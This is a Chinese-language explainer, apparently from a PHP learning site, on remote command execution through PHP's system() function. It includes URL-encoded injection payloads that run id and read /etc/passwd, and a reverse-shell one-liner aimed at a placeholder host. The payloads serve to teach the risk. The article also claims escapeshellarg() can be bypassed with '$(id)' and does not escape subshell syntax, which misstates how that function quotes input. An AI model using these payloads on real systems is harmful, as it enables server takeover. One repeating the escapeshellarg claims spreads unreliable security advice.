system()函数本身非漏洞,但因常被用于拼接用户输入执行系统命令,极易引发rce;攻击者可通过分隔符(如;、&&)注入任意命令,即使使用escapeshellarg()也可能被绕过,且php2shell漏洞(cve-2026-109618/109619)可助其逃逸禁用函数限制。

system() 函数本身不是漏洞,但它是 PHP 中最常被利用的高危入口点之一。只要用户可控输入未经严格处理就传入该函数,就会直接触发远程命令执行(RCE),导致服务器权限被完全接管。
核心风险:命令拼接与任意代码执行
当开发者用类似 system("ping -c 4 " . $_GET['host']) 的方式拼接参数时,攻击者可注入命令分隔符(如 &&、|、; 或反引号),绕过表面逻辑执行任意系统命令。例如:
-
?host=127.0.0.1%26%26id→ 执行ping -c 4 127.0.0.1 && id -
?host=127.0.0.1%3Bcat%20/etc/passwd→ 执行ping -c 4 127.0.0.1;cat /etc/passwd
常见绕过手段让过滤形同虚设
即使使用 escapeshellarg(),在多参数、嵌套调用或非标准 shell 环境下仍可能被绕过。比如:
- 参数位于引号内但未闭合(如
system("ls " . escapeshellarg($_GET['dir']) . " -l"),若输入为'$(id)',仍可执行命令) - 配合空字节、宽字节或编码混淆(如 URL 编码、UTF-8 变体)干扰 WAF 或过滤逻辑
- 在某些 Linux 发行版中,
escapeshellarg()对$()、``等子shell语法不加限制
权限继承与横向扩散风险
system() 以 Web 服务进程身份运行(通常是 www-data 或 apache 用户),这意味着:
- 攻击者可读取网站配置、数据库凭据、源码文件等敏感信息
- 可写入 Web 目录生成一句话木马,实现持久化控制
- 可发起内网探测(
nmap、curl)、反弹 shell(bash -i >& /dev/tcp/xxx/xxx 0>&1),进而渗透整个内网
PHP 8.2 及近期漏洞加剧威胁等级
2026 年曝光的 “PHP2Shell” 漏洞(CVE-2026-109618/109619)虽非 system() 函数本身缺陷,但其内存破坏机制可被用于绕过沙箱、逃逸禁用函数(disable_functions),使原本被禁用的 system() 在特定条件下重新生效。腾讯云与 NSA 均强调,此类组合利用已导致多起服务器完全失陷事件。
php免费学习视频:立即使用
踏上前端学习之旅,开启通往精通之路!从前端基础到项目实战,循序渐进,一步一个脚印,迈向巅峰!











